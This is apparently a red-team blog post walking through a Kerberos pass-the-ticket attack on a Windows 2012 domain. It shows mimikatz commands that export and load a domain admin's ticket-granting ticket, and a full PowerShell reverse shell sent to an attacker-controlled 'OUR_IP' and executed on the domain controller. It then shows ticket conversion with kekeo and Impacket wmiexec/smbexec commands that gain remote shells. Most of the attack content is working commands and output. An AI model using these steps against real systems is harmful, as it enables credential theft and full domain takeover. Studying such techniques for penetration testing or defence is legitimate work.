Things were (finally) changing, starting from Windows 7, Microsoft tried to “patch” this vulnerability with questionable results (excellent article here: http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/). But with the advent of Windows 2012R2 and the corresponding Domain Functional Level, it is possible to completely prohibit the NTLM authentication and consequently PTH for domain users belonging to the special group “Protected Users Group.” Sure, with a metepreter session we could easily load the “incognito” module and impersonate the domain admin user who just logged in by “stealing” his Kerberos ticket:
And with this appropriate shell start our lateral movement:
But what if we can’t use Metasploit or similar tools because the Antivirus is blocking us? Game over? No! We have the Kerberos Authentication to play with. Instead of passing the hash, we will pass the ticket! Imagine this scenario:
We have a remote shell -reverse or bind, for example, PowerShell – with Local System privileges obtained on an MSSQL server through xp_cmdshell via sqlinjection
With our obfuscated .ps1 version of “mimikatz” we can’t catch the clear text passwords of the logged domain administrator given that we have to face with a Windows 2012 Server: mimikatz(powershell) # sekurlsa::logonpasswords Authentication Id : 0 ; 389848 (00000000:0005f2d8) Session : Interactive from 2 User Name : administrator Domain : MYDOMAINB Logon Server : SERVER2012DC Logon Time : 5/12/2017 6:45:15 PM SID : S-1-5-21-3534665177-2148510708-2241433719-500 msv : [00010000] CredentialKeys
- RootKey : xxxxx
- DPAPI : yyyyy tspkg : wdigest :
- Username : Administrator
- Domain : MYDOMAINB
- Password : (null) kerberos :
- Username : administrator
- Domain : MYDOMAINB.LOCAL
- Password : (null) ssp : KO credman : And the following command won’t reveal us anything about all the keys associated with the domain administrator: mimikatz(powershell) # sekurlsa::ekeys Now we are pretty sure that our Domain Admin belongs the special “Protected users group.”
So, let’s play with Kerberos! First of all, let’s see if we can export all the kerberos tickets. mimikatz(powershell) # sekurlsa::tickets /export PS C:testtemp> get-childitem | select name Name —- [0;3e4]-0-0-40a50000-SRV2012$@GC-server2012dc.mydomainb.local.kirbi [0;3e4]-0-1-40a50000-SRV2012$@ldap-server2012dc.mydomainb.local.kirbi [0;3e4]-0-2-40a50000-SRV2012$@cifs-server2012dc.mydomainb.local.kirbi [0;3e4]-2-0-60a10000-SRV2012$@krbtgt-MYDOMAINB.LOCAL.kirbi [0;3e4]-2-1-40e10000-SRV2012$@krbtgt-MYDOMAINB.LOCAL.kirbi [0;3e7]-0-0-40a50000-SRV2012$@LDAP-server2012dc.mydomainb.local.kirbi [0;3e7]-0-1-40a50000-SRV2012$@cifs-server2012dc.mydomainb.local.kirbi [0;3e7]-0-2-40a10000.kirbi [0;3e7]-0-3-40a50000-SRV2012$@ldap-server2012dc.mydomainb.local.kirbi [0;3e7]-2-0-60a10000-SRV2012$@krbtgt-MYDOMAINB.LOCAL.kirbi [0;3e7]-2-1-40e10000-SRV2012$@krbtgt-MYDOMAINB.LOCAL.kirbi [0;5f2d8]-0-0-40a10000-Administrator@host-srv2012.mydomainb.local.kirbi [0;5f2d8]-2-0-40e10000-Administrator@krbtgt-MYDOMAINB.LOCAL.kirbi Nice catch! We have all the tickets and the interesting one is the TGT (Ticket Granting Ticket) for Domain Admin, who logged into this server: [0;5f2d8]-2-0-40e10000-Administrator@krbtgt-MYDOMAINB.LOCAL.kirbi Let’s rename the file to “admin.krb” PS C:testtemp> copy “*-2-0-40e10000-Administrator@krbtgt-MYDOMAINB.LOCAL.kirbi” admin.krb PS C:testtemp> dir *.krb Directory: C:testtemp Mode LastWriteTime Length Name —- ————- —— —- -a— 5/12/2017 7:17 PM 1605 admin.krb We have all we need, time to load this ticket and impersonate the domain admin. How? With mimimkatz’s feature “Pass the Ticket”! mimikatz(powershell) # kerberos::ptt admin.krb
- File: ‘admin.krb’: OK The ticket was successfully loaded. Time to check it: PS C:testtemp> klist Current LogonId is 0:0x3e7 Cached Tickets: (1) #0> Client: Administrator @ MYDOMAINB.LOCAL Server: krbtgt/MYDOMAINB.LOCAL @ MYDOMAINB.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize Start Time: 5/16/2017 22:13:31 (local) End Time: 5/17/2017 8:13:31 (local) Renew Time: 5/23/2017 22:13:31 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0x1 -> PRIMARY Kdc Called: Great! Ticket loaded and valid for 10 hours which is the default lifetime of TGT tickets. So, we are able to impersonate the admin user, let’s check it by copying a file in C: drive of the domain controller: PS C:testtemp> copy test.txt server2012dcc$ PS C:testtemp> dir server2012dcc$ Directory: server2012dcc$ Mode LastWriteTime Length Name —- ————- —— —- d—- 8/22/2013 5:52 PM PerfLogs d-r– 2/17/2017 8:23 AM Program Files d—- 1/14/2017 7:35 AM Program Files (x86) d—- 3/29/2017 10:03 PM temp d—- 4/30/2017 4:39 PM test d-r– 2/17/2017 8:28 AM Users d—- 3/30/2017 12:21 AM Windows -a— 5/16/2017 10:51 PM 10 test.txt The file was successfully copied because we have domain admin rights! Remember: you have to refer to the remote server with his host name and NOT the IP address otherwise NTLM authentication would occur. And from now on we could use the wonderful wmic.exe utility for our lateral movement given that it is possible to execute a remote process using Kerberos authentication For example, let’s execute a remote reverse PowerShell with domain admin rights by using our Kerberos ticket. First of all, let’s create our ps1 script: PS C:testtmp>echo ‘$client = New-Object System.Net.Sockets.TCPClient(“OUR_IP”,4444)’ > rev.ps1 PS C:testtmp>echo ‘$stream = $client.GetStream()’ » rev.ps1 PS C:testtmp>echo ‘[byte[]]$bytes = 0..65535|%{0}’ » rev.ps1 PS C:testtmp>echo ‘while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ‘ » rev.ps1 PS C:testtmp>echo ‘$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) ‘ » rev.ps1 PS C:testtmp>echo ‘$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> ” ‘ » rev.ps1 PS C:testtmp>echo ‘$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) ‘ » rev.ps1 PS C:testtmp>echo ‘$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()} ‘ » rev.ps1 PS C:testtmp>echo ‘$client.Close() ‘ » rev.ps1 Copy it on the DC: PS C:testtmp>copy rev.ps1 server2012dcc$windowstemp And execute it on DC:
Wonderful shell, isn’it? OK, now let’s move a step forward. What if we would use this ticket for accessing a remote Windows system from our Linux box? Is it possible? Oh yes! First of all, we have to install Kerberos (apt-get install krb5-user or yum install krb5-workstation). Second, we have to convert our admin.krb ticket from “kirbi” to “ccache” format. How? With “kekeo” (by Benjamin Deply, author of mimikatz) a suite to play with Kerberos and which can be downloaded here: https://github.com/gentilkiwi/kekeo This suite has to be built with Visual Studio (I used 2015 version) along with the commercial library ASN.1/C.
Download and install ASN.1/C 64 bit version with the provided demo license http://www.oss.com/asn1/products/asn1-c/asn1-c.html Download the kekeo suite in a dedicated directory (ex: c:kekeo) Copy asn1dflt.msx64.zp8 located in <oss_install_dir>winx64[.tria]l10.4.0.1asn1dflt to c:kekeomodulesasn1
In ASN1. Studio open the project: c:kekeomoduleskull_m_kerberos_asn1.a1sproj and generate files with Project/Compile
It will create:
c:kekeomoduleskull_m_kerberos_asn1.c c:kekeomoduleskull_m_kerberos_asn1.h
Then you have to copy from your OSS ASN.1/C install dir
includeossasn1.h to c:kekeoinc includeosstype.h to c:kekeoinc libtoedcode.libto c:kekeolib libossiphlp.libto c:kekeolib
Rename “kull_m_kerberos_oss_asn1_internal.c” to “kull_m_kerberos_oss_asn1_internal_x64.c” in c:kekeomodulesasn1 Time to generate our solution from Visual Studio by opening the project kekeo.sln:
If everything works fine we will have your executable “kekeo.exe” compiled. (Don’t forget to disable “stop compilation on warning” setting /WX- option in the C++ compiler option in Visual Studio. After that, download your admin.krb ticket and convert it to ccache format:
We have now our ticket in .ccache format, let’s copy it on our Linux box and load it. First of all, we have to synchronize time with the Domain Controller otherwise we could have issues with the Kerberos Kerberos authentication which is in part based upon the time stamps of tickets.
rdate -n <IP_DC>
Fri May 19 02:49:23 CEST 2017 Then copy the ticket file in the correct location (or just set the environment variable KRB5CCNAME to correct location):
cp amdin.ccache /tmp/krb5cc_0
The command “klist” will confirm that the ticket was correctly loaded: Ticket cache: FILE:/tmp/krb5cc_0 Default principal: Administrator@MYDOMAINB.LOCAL Valid starting Expires Service principal 03/29/2017 21:26:37 03/30/2017 07:26:37 krbtgt/MYDOMAINB.LOCAL@MYDOMAINB.LOCAL renew until 04/05/2017 21:26:37 At this point, all we need is a tool which enables Kerberos authentication, for example, wmiexec.py from Impacket suite (https://github.com/CoreSecurity/impacket): wmiexec.py -k -debug -no-pass -dc-ip 192.168.178.196 mydomainb.local/Administrator@server2012dc.MYDOMAINB.LOCAL
We have our cmd shell on our Linux box with Kerberos authentication using our exported ticket! We could also use smbexec.py:
smbexec.py -k -no-pass -dc-ip 192.168.178.196 mydomainb.local/Administrator@server2012dc.MYDOMAINB.LOCAL
That’s all, enjoy Kerberos!